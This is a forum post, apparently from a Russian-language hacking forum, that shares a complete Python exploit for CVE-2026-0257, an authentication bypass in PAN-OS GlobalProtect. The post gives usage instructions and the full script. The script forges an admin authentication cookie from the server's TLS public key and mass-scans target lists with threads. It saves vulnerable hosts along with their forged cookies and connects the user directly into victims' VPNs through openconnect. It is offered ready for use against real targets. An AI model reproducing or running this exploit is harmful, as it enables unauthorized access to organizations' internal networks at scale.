LIMB
Вход Регистрация

тема

CVE-2026-0257 PAN-OS GlobalProtect Scanner + VPN Connect

BeiDou · · 0 ответов · 140 просмотров

CVE-2026-0257 is an auth bypass in PAN-OS GlobalProtect. basically if the admin reused the same cert for both HTTPS and auth override cookies, you can grab the public key from TLS and
forge a cookie that logs you in.  no password needed.

rapid7 wrote a good breakdown here

the scanner does two things - finds vuln targets and connects you straight into their VPN with one command. no manual openconnect fiddling.

requirements
Code:
sudo apt install python3-cryptography openconnect
that's it. if you are on kali it's probably already there.

This script have 2 modes , single and multi targets .
In single target,
Code:
python3 exploit.py --st IP:PORT
if it's vuln you get:

Не удалось прогрузить медиа


hit c, type your sudo password, and you're in. it shows your assigned
ip, routes, dns, the works. hit enter to disconnect when you're done.
after disconnect, tun0 gets cleaned up. ctrl+c also kills the vpn.

In multi targets mode ,
targets file must be one IP : PORT per line
Code:
python3 exploit.py --mt targets.txt --threads 5

Не удалось прогрузить медиа


it scans everything, shows progress, saves vuln hits automatically. then gives you a list - arrow keys to pick, enter to connect.

Не удалось прогрузить медиа


every vuln target gets saved to cve-2026-0257-vuln.txt in this format. load it back anytime.
Code:
python3 exploit.py  --vuln cve-2026-0257-vuln.txt

Thanks for reading and Enjoy.
./BeiDou

Here is exploit.py
Спойлер
Python:
#!/usr/bin/env python3
#CVE-2026-0257 PAN-OS GlobalProtect Scanner + VPN Connect
#Coded by ./BeiDou

import warnings
warnings.filterwarnings("ignore")
import argparse, base64, curses, getpass, hashlib, json, os, re, signal, socket, ssl, subprocess
import sys, threading, time, tempfile, urllib.parse, urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed
from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

VF = "cve-2026-0257-vuln.txt"
EF = "cve-2026-0257-export.txt"

def ni():
    r = {"ip": "", "rt": [], "ns": []}
    try:
        x = subprocess.run(["ip", "addr", "show", "tun0"], capture_output=True, text=True, timeout=3)
        for l in x.stdout.splitlines():
            if "inet " in l: r["ip"] = l.strip().split()[1]
    except: pass
    try:
        x = subprocess.run(["ip", "route"], capture_output=True, text=True, timeout=3)
        for l in x.stdout.splitlines():
            if "tun" in l: r["rt"].append(l.strip())
    except: pass
    try:
        with open("/etc/resolv.conf") as f:
            for l in f:
                if l.startswith("nameserver"): r["ns"].append(l.split()[1])
    except: pass
    return r

def dc():
    x = ni()
    if x["ip"] or x["rt"]:
        print("\n[!] Ctrl+C - disconnecting VPN...")
        subprocess.run(["sudo", "pkill", "openconnect"], capture_output=True)
        time.sleep(1)
    sys.exit(0)

def si(sig, frm):
    dc()

signal.signal(signal.SIGINT, si)

def gcc(h, p, to=8):
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.maximum_version = ssl.TLSVersion.TLSv1_2
    try:
        with ctx.wrap_socket(socket.socket(), server_hostname=h) as s:
            s.settimeout(to)
            s.connect((h, p))
            if hasattr(s, "get_unverified_chain"):
                return [x509.load_der_x509_certificate(d) for d in s.get_unverified_chain()]
        return []
    except: return []

def gp(h, p, to=5):
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.maximum_version = ssl.TLSVersion.TLSv1_2
    try:
        with ctx.wrap_socket(socket.socket(), server_hostname=h) as s:
            s.settimeout(to)
            s.connect((h, p))
            d = s.getpeercert(binary_form=True)
            c = x509.load_der_x509_certificate(d)
            k = c.public_key().public_bytes(encoding=Encoding.DER, format=PublicFormat.SubjectPublicKeyInfo)
            z = hashlib.sha256(k).digest()
            return base64.b64encode(z).decode()
    except: return None

def fc(k, u="admin"):
    t = int(time.time())
    x = f"{u};;Windows;;{t};0.0.0.0"
    y = k.encrypt(x.encode(), padding.PKCS1v15())
    return base64.b64encode(y).decode()

def tst(h, p, u, to=8):
    c = gcc(h, p, to)
    if not c: return None
    for cert in c:
        try: pk = cert.public_key()
        except: continue
        ck = fc(pk, u)
        q = {
            "prot": "https", "server": h, "inputStr": "",
            "jnlpReady": "jnlpReady", "ok": "Login", "direct": "yes",
            "clientVer": "4100", "user": u, "passwd": "",
            "context": "gateway", "clientos": "Windows",
            "clientgpversion": "6.0.0", "host-id": "", "computer": "",
            "os-version": "Microsoft Windows 10 Pro 64-bit",
            "portal-userauthcookie": ck, "portal-prelogonuserauthcookie": "",
        }
        b = urllib.parse.urlencode(q).encode()
        z = f"https://{h}:{p}/ssl-vpn/login.esp"
        rq = urllib.request.Request(z, data=b, method="POST")
        rq.add_header("Content-Type", "application/x-www-form-urlencoded")
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        try:
            with urllib.request.urlopen(rq, context=ctx, timeout=to) as rp:
                tx = rp.read().decode()
                if "<argument>" in tx and u in tx:
                    a = re.findall(r"<argument>(.*?)</argument>", tx)
                    return {
                        "h": h, "p": p, "ck": ck,
                        "at": a[1] if len(a) > 1 else "",
                        "gw": a[3] if len(a) > 3 else "",
                        "am": a[5] if len(a) > 5 else "",
                    }
        except: continue
    return None

def cv(h, p, ck, u, sp):
    x = gp(h, p, 5)
    sc = f"--servercert=pin-sha256:{x}" if x else ""
    z = f"https://{h}:{p}" if p != 443 else f"https://{h}"

    cf = tempfile.NamedTemporaryFile(mode='w', suffix='.cookie', delete=False)
    cf.write(ck)
    cf.close()

    s = f"""#!/bin/bash
(echo '{sp}'; cat {cf.name}) | sudo -S openconnect --protocol=gp --user={u} \
--usergroup=portal:portal-userauthcookie --os=win --background \
{sc} {z}
rm -f {cf.name}
"""
    sf = tempfile.NamedTemporaryFile(mode='w', suffix='.sh', delete=False)
    sf.write(s)
    sf.close()
    os.chmod(sf.name, 0o700)
    subprocess.Popen(["/bin/bash", sf.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

    time.sleep(4)
    for _ in range(20):
        x = ni()
        if x["ip"] or x["rt"]: return True, []
        time.sleep(1)
    return False, []

def sv(v, ap=False):
    m = "a" if ap else "w"
    with open(VF, m) as f:
        for r in v:
            f.write(f"{r['h']}:{r['p']}|cookie={r['ck']}|gateway={r['gw']}|auth={r['am']}\n")

def lv(p):
    v = []
    with open(p) as f:
        for ln in f:
            ln = ln.strip()
            if not ln: continue
            x = ln.split("|")
            hp = x[0].rsplit(":", 1)
            h = hp[0]
            p = int(hp[1]) if len(hp) > 1 else 443
            ck = gw = am = ""
            for y in x[1:]:
                if y.startswith("cookie="): ck = y[7:]
                elif y.startswith("gateway="): gw = y[8:]
                elif y.startswith("auth="): am = y[5:]
            v.append({"h": h, "p": p, "ck": ck, "gw": gw, "am": am})
    return v

def pr(r):
    q = []
    for t in r.splitlines():
        t = t.strip()
        if not t or t.startswith("#"): continue
        if ":" in t:
            h, p = t.rsplit(":", 1)
            try: q.append((h, int(p)))
            except: q.append((t, 443))
        else: q.append((t, 443))
    return q

def cs(v, ti="Select a vulnerable target"):
    try: return curses.wrapper(_sl, v, ti)
    except: return _cl(v, ti)

def _cl(v, ti):
    print(f"\n{ti}:")
    for i, x in enumerate(v):
        print(f"  [{i}] {x['h']}:{x['p']}  gw={x['gw']}  auth={x['am']}")
    print("  [q] quit")
    while True:
        ch = input("  Select: ").strip()
        if ch.lower() == "q": return -1
        try:
            idx = int(ch)
            if 0 <= idx < len(v): return idx
        except: pass
        print("  Invalid")

def _sl(w, v, ti):
    curses.curs_set(0)
    try:
        curses.init_pair(1, curses.COLOR_RED, -1)
        curses.init_pair(2, curses.COLOR_GREEN, -1)
        curses.init_pair(3, curses.COLOR_CYAN, -1)
        curses.init_pair(4, curses.COLOR_YELLOW, -1)
    except: pass
    pos = 0
    while True:
        w.erase()
        H, W = w.getmaxyx()
        try: w.addstr(0, 2, ti, curses.color_pair(3) | curses.A_BOLD)
        except: pass
        try: w.addstr(1, 2, "=" * (W - 4), curses.color_pair(3))
        except: pass
        st = max(0, pos - max(0, H - 5) // 2)
        en = min(len(v), st + max(0, H - 5))
        for i in range(st, en):
            y = 3 + i - st
            x = v[i]
            ln = f" {x['h']}:{x['p']}  gateway={x['gw']}  auth={x['am']}"[:W-4]
            if i == pos:
                try: w.addstr(y, 2, "> " + ln, curses.A_REVERSE)
                except: pass
            else:
                try: w.addstr(y, 2, ln)
                except: pass
        ft = " UP/DOWN: navigate  ENTER: select  q: quit"
        try: w.addstr(H - 2, 2, ft, curses.color_pair(4))
        except: pass
        w.refresh()
        k = w.getch()
        if k in (ord("q"), ord("Q"), 27): return -1
        if k in (curses.KEY_UP, ord("k")): pos = max(0, pos - 1)
        if k in (curses.KEY_DOWN, ord("j")): pos = min(len(v) - 1, pos + 1)
        if k in (10, 13): return pos

def ms(h, p, a):
    print(f"\n[*] Testing {h}:{p} ...", end=" ", flush=True)
    r = tst(h, p, a.user, a.timeout)
    if r:
        sv([r], ap=True)
        print(f"VULN  gw={r['gw']}  auth={r['am']}")
        print(f"    Cookie: {r['ck'][:80]}...")
        print(f"    [c] Connect  [e] Export  [q] Back")
        while True:
            ch = input("    > ").strip().lower()
            if ch == "c":
                sp = getpass.getpass("    Sudo password: ")
                print(f"    Connecting...")
                ok, _ = cv(h, p, r["ck"], a.user, sp)
                if ok:
                    print(f"\n    CONNECTED!")
                    z = ni()
                    if z["ip"]: print(f"    IP:  {z['ip']}")
                    if z["rt"]:
                        print(f"    Routes:")
                        for w in z["rt"]: print(f"      {w}")
                    if z["ns"]: print(f"    DNS:  {', '.join(z['ns'])}")
                    input("\n    Press Enter to disconnect...")
                    dc()
                    z2 = ni()
                    if not z2["ip"]: print(f"    DISCONNECTED")
                else:
                    print(f"    Connection failed")
            elif ch == "e":
                with open(EF, "w") as f:
                    f.write(f"{r['h']}:{r['p']}|cookie={r['ck']}|gateway={r['gw']}|auth={r['am']}\n")
                print(f"    Exported to {EF}")
            elif ch == "q": break
    else:
        print(f"NOT VULNERABLE")

def mm(a):
    with open(a.mt) as f: raw = f.read()
    tg = pr(raw)
    v = []
    n = len(tg)
    d = 0
    print(f"\n[*] Scanning {n} targets ({a.threads} threads)...\n")
    with ThreadPoolExecutor(max_workers=a.threads) as ex:
        ft = {ex.submit(tst, h, p, a.user, a.timeout): (h, p) for h, p in tg}
        for fu in as_completed(ft):
            h, p = ft[fu]
            d += 1
            try:
                r = fu.result(timeout=a.timeout + 5)
                if r:
                    v.append(r)
                    sys.stdout.write("\r\033[K")
                    print(f"VULN {h}:{p}  gw={r['gw']}  auth={r['am']}")
            except: pass
            sys.stdout.write(f"\r\033[K  [{d}/{n}]  {len(v)} vuln found")
            sys.stdout.flush()
    sys.stdout.write("\r\033[K")
    print(f"\n[*] Done. {len(v)}/{n} vulnerable")
    if v:
        sv(v)
        print(f"[+] Saved to {VF}\n")
        idx = cs(v, f"Vulnerable Targets ({len(v)}) - Select to Connect")
        if idx >= 0:
            r = v[idx]
            h, p = r["h"], r["p"]
            print(f"\n[*] Selected: {h}:{p}")
            print(f"[*] Gateway: {r['gw']}")
            sp = getpass.getpass("Sudo password: ")
            print(f"[*] Connecting...")
            ok, _ = cv(h, p, r["ck"], a.user, sp)
            if ok:
                print(f"\nCONNECTED!")
                z = ni()
                if z["ip"]: print(f"    IP:  {z['ip']}")
                if z["rt"]:
                    print(f"    Routes:")
                    for w in z["rt"]: print(f"      {w}")
                if z["ns"]: print(f"    DNS:  {', '.join(z['ns'])}")
                input("\n    Press Enter to disconnect...")
                dc()
                print(f"DISCONNECTED")
            else:
                print(f"Connection failed")

def mv(a):
    v = lv(a.vuln)
    if not v:
        print("No vulnerable targets in file.")
        return
    print(f"\n[*] Loaded {len(v)} targets from {a.vuln}")
    idx = cs(v, f"Vulnerable Targets ({len(v)}) - Select to Connect")
    if idx >= 0:
        r = v[idx]
        h, p = r["h"], r["p"]
        print(f"\n[*] Selected: {h}:{p}")
        print(f"[*] Gateway: {r['gw']}")
        sp = getpass.getpass("Sudo password: ")
        print(f"[*] Connecting...")
        ok, _ = cv(h, p, r["ck"], "admin", sp)
        if ok:
            print(f"\nCONNECTED!")
            z = ni()
            if z["ip"]: print(f"    IP:  {z['ip']}")
            if z["rt"]:
                print(f"    Routes:")
                for w in z["rt"]: print(f"      {w}")
            if z["ns"]: print(f"    DNS:  {', '.join(z['ns'])}")
            input("\n    Press Enter to disconnect...")
            dc()
            print(f"DISCONNECTED")
        else:
            print(f"Connection failed")

def main():
    ap = argparse.ArgumentParser(description="CVE-2026-0257 PAN-OS Scanner + VPN Connect |Coded by ./BeiDou")
    ap.add_argument("--st", help="Single target (IP:PORT)")
    ap.add_argument("--mt", help="Multi targets file (IP:PORT per line)")
    ap.add_argument("--vuln", help="Vuln targets file")
    ap.add_argument("--threads", type=int, default=20)
    ap.add_argument("--timeout", type=int, default=6)
    ap.add_argument("--user", default="admin")
    a = ap.parse_args()
    if a.st:
        if ":" in a.st:
            h, p = a.st.rsplit(":", 1)
            try: p = int(p)
            except: p = 443
        else: h, p = a.st, 443
        ms(h, p, a)
    elif a.mt: mm(a)
    elif a.vuln: mv(a)
    else: ap.print_help()

if __name__ == "__main__":
    main()
👍8 🔥1 😮1 💯2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.